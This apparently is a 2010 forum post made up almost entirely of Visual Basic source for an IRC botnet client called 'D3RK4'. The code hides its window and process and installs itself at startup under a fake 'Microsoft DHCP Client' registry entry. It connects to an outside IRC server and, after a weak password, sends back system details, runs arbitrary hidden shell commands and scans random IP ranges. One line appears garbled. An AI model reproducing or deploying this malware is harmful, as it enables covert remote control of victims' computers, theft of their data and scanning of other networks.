Sáb Sep 11, 2010 10:51 am
- Código:
Private Declare Function GetTickCount Lib "kernel32" () As Long
Dim BotChan
Dim Pong
Dim BotData
Dim BotPass
Dim Ticks
Dim minutes
Dim Master
Dim mem As MEMORYSTATUS
Dim TotalRam
Dim LIP
Dim ScanPort
Dim Base
Dim ScanCnt
Dim BaseMod
'Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
'
'Public Function UserName() As String
' Dim llReturn As Long
' Dim lsUserName As String
' Dim lsBuffer As String
' lsUserName = ""
'lsBuffer = Space$(255)
'llReturn = GetUserName(lsBuffer, 255)
'If llReturn Then
' lsUserName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)
'End If
' UserName = lsUserName
'End Function
'
Private Sub Bot_Connect()
Randomize Timer
Bot.SendData "NICK Guest" & Int(Rnd * 9999) & vbCrLf
Bot.SendData "USER Guest Guest Guest :Java User" & vbCrLf
End Sub
Private Sub Bot_ConnectionRequest(ByVal requestID As Long)
'Bot.Close
'Bot.Accept (requestID)
End Sub
Private Sub Bot_DataArrival(ByVal bytesTotal As Long)
Bot.GetData BotData, vbString
On Error Resume Next
For x = 1 To Len(BotData)
'***Server Ping/Pong
If Mid$(BotData, x, 6) = "PING :" Then
Pong = Mid$(BotData, x + 6, Len(BotData) - 2)
Bot.SendData "PONG " & Pong & vbCrLf
Bot.SendData "JOIN " & BotChan & vbCrLf
End If
'***Auth
If Mid$(BotData, x, 7) = "./auth " Then
If Mid$(BotData, x + 7, 4) = BotPass Then
Bot.SendData "PRIVMSG " & BotChan & " :[password accepted]" & vbCrLf
Master = True
End If
End If
If Master = True Then
'***Start post-login commands
If Mid$(BotData, x, 5) = "./ver" Then
Bot.SendData "PRIVMSG " & BotChan & " :" & Chr(2) & ".::[D3RK4 0.002 (Public Release)]::." & vbCrLf
ElseIf Mid$(BotData, x, 8) = "./uptime" Then
Ticks = GetTickCount()
seconds = Ticks / 1000
minutes = seconds / 60
Bot.SendData "PRIVMSG " & BotChan & " :[uptime] " & Round(minutes) & " minutes. " & vbCrLf
ElseIf Mid$(BotData, x, 6) = "./info" Then
GlobalMemoryStatus mem
Ticks = GetTickCount()
seconds = Ticks / 1000
minutes = seconds / 60
OS1 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "ProductName")
OS2 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CSDVersion")
OS3 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CurrentVersion")
OS4 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CurrentBuildNumber")
OS5 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "BuildLab")
PID = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "ProductId")
CPU = GetStringValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")
CPU = Left$(CPU, InStr(CPU, Chr$(0)) - 1)
PID = Left$(PID, InStr(PID, Chr$(0)) - 1)
OS1 = Left$(OS1, InStr(OS1, Chr$(0)) - 1)
OS2 = Left$(OS2, InStr(OS2, Chr$(0)) - 1)
OS3 = Left$(OS3, InStr(OS3, Chr$(0)) - 1)
OS4 = Left$(OS4, InStr(OS4, Chr$(0)) - 1)
OS5 = Left$(OS5, InStr(OS5, Chr$(0)) - 1)
TotalRam = mem.dwTotalPhys / 1024 / 1024
Bot.SendData "PRIVMSG " & BotChan & " :[info] " & Chr(2) & "OS: " & Chr(2) & OS1 & " " & OS2 & " (" & OS3 & " - " & OS4 & ")" & Chr(2) & " BUILD: " & Chr(2) & OS5 & Chr(2) & " CPU: " & Chr(2) & CPU & Chr(2) & " RAM: " & Chr(2) & Round(TotalRam) & "MB" & Chr(2) & " UPTIME: " & Chr(2) & Round(minutes) & " minutes." & Chr(2) & " PRODUCT ID: " & Chr(2) & PID & Chr(2) & " IP: " & Chr(2) & Bot.LocalIP & vbCrLf
ElseIf Mid$(BotData, x, 4) = "./ip" Then
Bot.SendData "PRIVMSG " & BotChan & " :[ip] " & Bot.LocalIP & vbCrLf
ElseIf Mid$(BotData, x, 6) = "./raw " Then
Bot.SendData Mid$(BotData, x + 6, Len(BotData)) & vbCrLf
Bot.SendData "PRIVMSG " & BotChan & " :[raw] command preformed" & vbCrLf
ElseIf Mid$(BotData, x, 6) = "./run " Then
'MsgBox Mid$(BotData, x + 5, Len(BotData) - x - 6)
Shell ("cmd.exe /c " & Mid$(BotData, x + 6, Len(BotData) - x - 7)), vbHide
Bot.SendData "PRIVMSG " & BotChan & " :[run] command preformed" & vbCrLf
ElseIf Mid$(BotData, x, 7) = "./scan " Then
Scan.Close
ScanPort = Mid$(BotData, x + 7, Len(BotData))
ScanPort = Mid$(ScanPort, 1, Len(ScanPort) - 2)
'MsgBox ScanPort
Scan.RemotePort = ScanPort
ScanCnt = 0
Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Port: " & ScanPort & vbCrLf
ElseIf Mid$(BotData, x, 12) = "./scan.state" Then
Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Port: " & ScanPort & " Current: " & Scan.RemoteHost & " State: " & Scan.State & " Count: " & ScanCnt & vbCrLf
ElseIf Mid$(BotData, x, 11) = "./scan.stop" Then
Scan.Close
ScanPort = Null
Bot.SendData "PRIVMSG " & BotChan & " :[scanning halted]" & vbCrLf
ElseIf Mid$(BotData, x, 7) = "./base " Then
Randomize Timer
BaseMod = Mid$(BotData, x + 7, Len(BotData))
BaseMod = Mid$(BaseMod, 1, Len(BaseMod) - 2)
Base = BaseMod & "." & Int(Rnd * 255) + 1 & "."
Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Range: " & Base & "*.*" & vbCrLf
ElseIf Mid$(BotData, x, 8) = "./logout" Then
Master = False
Bot.SendData "PRIVMSG " & BotChan & " :[logged out]" & vbCrLf
ElseIf Mid$(BotData, x, 11) = "./omgwtfh4x" Then
Bot.SendData "PRIVMSG " & BotChan & " :(Connection Reset by Peer)" & vbCrLf
Bot.Close
Unload Form1
End If
'***End post-login commands
End If
Next x
'MsgBox BotData
End Sub
Private Sub Form_Load()
On Error Resume Next
Randomize Timer
Startup = SetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices", "Microsoft DHCP Client", VB.App.Path & "\msdhcpcl.exe")
Shell ("ws.exe hide -p msdhcpcl.exe"), vbHide
Form1.Visible = False
Timer1.Interval = 60000
Timer1.Enabled = True
Timer2.Interval = 10000
Timer2.Enabled = True
Master = False
BotChan = "#.baha."
BotPass = Chr(116) & Chr(101) & Chr(115) & Chr(116)
LIP = Split(Bot.LocalIP, ".")
151.Base = LIP(0) & "." & LIP(1) & "."
Bot.Protocol = sckTCPProtocol
Bot.RemoteHost = "irc.after-all.org"
Bot.RemotePort = 6667
Bot.Connect
End Sub
Private Sub Scan_Connect()
Bot.SendData "PRIVMSG " & BotChan & " :[scan] " & Scan.RemotePort & " " & Scan.RemoteHost & vbCrLf
End Sub
Private Sub Timer1_Timer()
If Bot.State < 7 Then
Bot.Close
Bot.Connect
ElseIf Bot.State = 7 Then
Bot.SendData "JOIN " & BotChan & vbCrLf
Bot.SendData "MODE " & BotChan & " +snt" & vbCrLf
End If
End Sub
Private Sub Timer2_Timer()
If Len(ScanPort) > 0 Then
ScanCnt = ScanCnt + 1
Scan.Close
Scan.RemoteHost = Base & Int(Rnd * 255) + 1 & "." & Int(Rnd * 255) + 1
Scan.Connect
End If
End Sub